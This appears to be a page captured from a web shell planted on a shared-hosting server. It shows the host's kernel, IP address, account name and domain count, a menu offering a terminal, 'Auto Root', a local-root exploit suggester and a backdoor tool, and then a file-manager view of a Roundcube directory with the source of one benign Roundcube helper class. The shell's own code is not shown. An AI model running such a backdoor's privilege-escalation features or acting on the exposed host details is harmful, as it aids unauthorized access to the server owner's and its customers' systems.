Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.26
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
webuzo-data /
roundcube /
program /
lib /
Roundcube /
Delete
Unzip
Name
Size
Permission
Date
Action
cache
[ DIR ]
drwxr-xr-x
2026-02-08 09:33
db
[ DIR ]
drwxr-xr-x
2026-02-08 09:33
session
[ DIR ]
drwxr-xr-x
2026-02-08 09:33
spellchecker
[ DIR ]
drwxr-xr-x
2026-02-08 09:33
README.md
3.72
KB
-rw-r--r--
2026-02-08 09:33
bootstrap.php
11.94
KB
-rw-r--r--
2026-02-08 09:33
html.php
28.33
KB
-rw-r--r--
2026-02-08 09:33
rcube.php
56.49
KB
-rw-r--r--
2026-02-08 09:33
rcube_addressbook.php
30.71
KB
-rw-r--r--
2026-02-08 09:33
rcube_addresses.php
13.24
KB
-rw-r--r--
2026-02-08 09:33
rcube_base_replacer.php
3.63
KB
-rw-r--r--
2026-02-08 09:33
rcube_browser.php
4.09
KB
-rw-r--r--
2026-02-08 09:33
rcube_cache.php
19
KB
-rw-r--r--
2026-02-08 09:33
rcube_charset.php
24.98
KB
-rw-r--r--
2026-02-08 09:33
rcube_config.php
31.87
KB
-rw-r--r--
2026-02-08 09:33
rcube_contacts.php
35.47
KB
-rw-r--r--
2026-02-08 09:33
rcube_content_filter.php
2.05
KB
-rw-r--r--
2026-02-08 09:33
rcube_csv2vcard.php
24.52
KB
-rw-r--r--
2026-02-08 09:33
rcube_db.php
44.35
KB
-rw-r--r--
2026-02-08 09:33
rcube_enriched.php
5.31
KB
-rw-r--r--
2026-02-08 09:33
rcube_html2text.php
26.82
KB
-rw-r--r--
2026-02-08 09:33
rcube_image.php
18.24
KB
-rw-r--r--
2026-02-08 09:33
rcube_imap.php
152.15
KB
-rw-r--r--
2026-02-08 09:33
rcube_imap_cache.php
39.08
KB
-rw-r--r--
2026-02-08 09:33
rcube_imap_generic.php
138.47
KB
-rw-r--r--
2026-02-08 09:33
rcube_imap_search.php
8.92
KB
-rw-r--r--
2026-02-08 09:33
rcube_ldap.php
81.01
KB
-rw-r--r--
2026-02-08 09:33
rcube_ldap_generic.php
9.64
KB
-rw-r--r--
2026-02-08 09:33
rcube_message.php
46.62
KB
-rw-r--r--
2026-02-08 09:33
rcube_message_header.php
8.73
KB
-rw-r--r--
2026-02-08 09:33
rcube_message_part.php
3.04
KB
-rw-r--r--
2026-02-08 09:33
rcube_mime.php
33.51
KB
-rw-r--r--
2026-02-08 09:33
rcube_mime_decode.php
14.47
KB
-rw-r--r--
2026-02-08 09:33
rcube_output.php
13
KB
-rw-r--r--
2026-02-08 09:33
rcube_plugin.php
13.27
KB
-rw-r--r--
2026-02-08 09:33
rcube_plugin_api.php
28.06
KB
-rw-r--r--
2026-02-08 09:33
rcube_result_index.php
12.93
KB
-rw-r--r--
2026-02-08 09:33
rcube_result_multifolder.php
9.89
KB
-rw-r--r--
2026-02-08 09:33
rcube_result_set.php
3.88
KB
-rw-r--r--
2026-02-08 09:33
rcube_result_thread.php
20.92
KB
-rw-r--r--
2026-02-08 09:33
rcube_session.php
21.11
KB
-rw-r--r--
2026-02-08 09:33
rcube_smtp.php
20.41
KB
-rw-r--r--
2026-02-08 09:33
rcube_spellchecker.php
12.89
KB
-rw-r--r--
2026-02-08 09:33
rcube_spoofchecker.php
2.69
KB
-rw-r--r--
2026-02-08 09:33
rcube_storage.php
30.1
KB
-rw-r--r--
2026-02-08 09:33
rcube_string_replacer.php
11.07
KB
-rw-r--r--
2026-02-08 09:33
rcube_text2html.php
10.88
KB
-rw-r--r--
2026-02-08 09:33
rcube_tnef_decoder.php
27.38
KB
-rw-r--r--
2026-02-08 09:33
rcube_user.php
31.67
KB
-rw-r--r--
2026-02-08 09:33
rcube_utils.php
58.74
KB
-rw-r--r--
2026-02-08 09:33
rcube_vcard.php
36.16
KB
-rw-r--r--
2026-02-08 09:33
rcube_washtml.php
38.15
KB
-rw-r--r--
2026-02-08 09:33
Save
Rename
<?php /** +-----------------------------------------------------------------------+ | This file is part of the Roundcube Webmail client | | | | Copyright (C) The Roundcube Dev Team | | | | Licensed under the GNU General Public License version 3 or | | any later version with exceptions for skins & plugins. | | See the README file for a full license statement. | | | | PURPOSE: | | Provide basic functions for base URL replacement | +-----------------------------------------------------------------------+ | Author: Thomas Bruederli <roundcube@gmail.com> | +-----------------------------------------------------------------------+ */ /** * Helper class to turn relative urls into absolute ones * using a predefined base * * @package Framework * @subpackage Utils */ class rcube_base_replacer { private $base_url; /** * Class constructor * * @param string $base Base URL */ public function __construct($base) { $this->base_url = $base; } /** * Replace callback * * @param array $matches Matching entries * * @return string Replaced text with absolute URL */ public function callback($matches) { return $matches[1] . '="' . self::absolute_url($matches[3], $this->base_url) . '"'; } /** * Convert base URLs to absolute ones * * @param string $body Text body * * @return string Replaced text */ public function replace($body) { $regexp = [ '/(src|background|href)=(["\']?)([^"\'\s>]+)(\2|\s|>)/i', '/(url\s*\()(["\']?)([^"\'\)\s]+)(\2)\)/i', ]; return preg_replace_callback($regexp, [$this, 'callback'], $body); } /** * Convert paths like ../xxx to an absolute path using a base url * * @param string $path Relative path * @param string $base_url Base URL * * @return string Absolute URL */ public static function absolute_url($path, $base_url) { // check if path is an absolute URL if (preg_match('/^[fhtps]+:\/\//', $path)) { return $path; } // check if path is a content-id scheme if (strpos($path, 'cid:') === 0) { return $path; } $host_url = $base_url; $abs_path = $path; // cut base_url to the last directory if (strrpos($base_url, '/') > 7) { $host_url = substr($base_url, 0, strpos($base_url, '/', 7)); $base_url = substr($base_url, 0, strrpos($base_url, '/')); } // $path is absolute if ($path && $path[0] == '/') { $abs_path = $host_url . $path; } else { // strip './' because its the same as '' $path = preg_replace('/^\.\//', '', $path); if (preg_match_all('/\.\.\//', $path, $matches, PREG_SET_ORDER)) { $cnt = count($matches); while ($cnt--) { if ($pos = strrpos($base_url, '/')) { $base_url = substr($base_url, 0, $pos); } $path = substr($path, 3); } } $abs_path = $base_url.'/'.$path; } return $abs_path; } }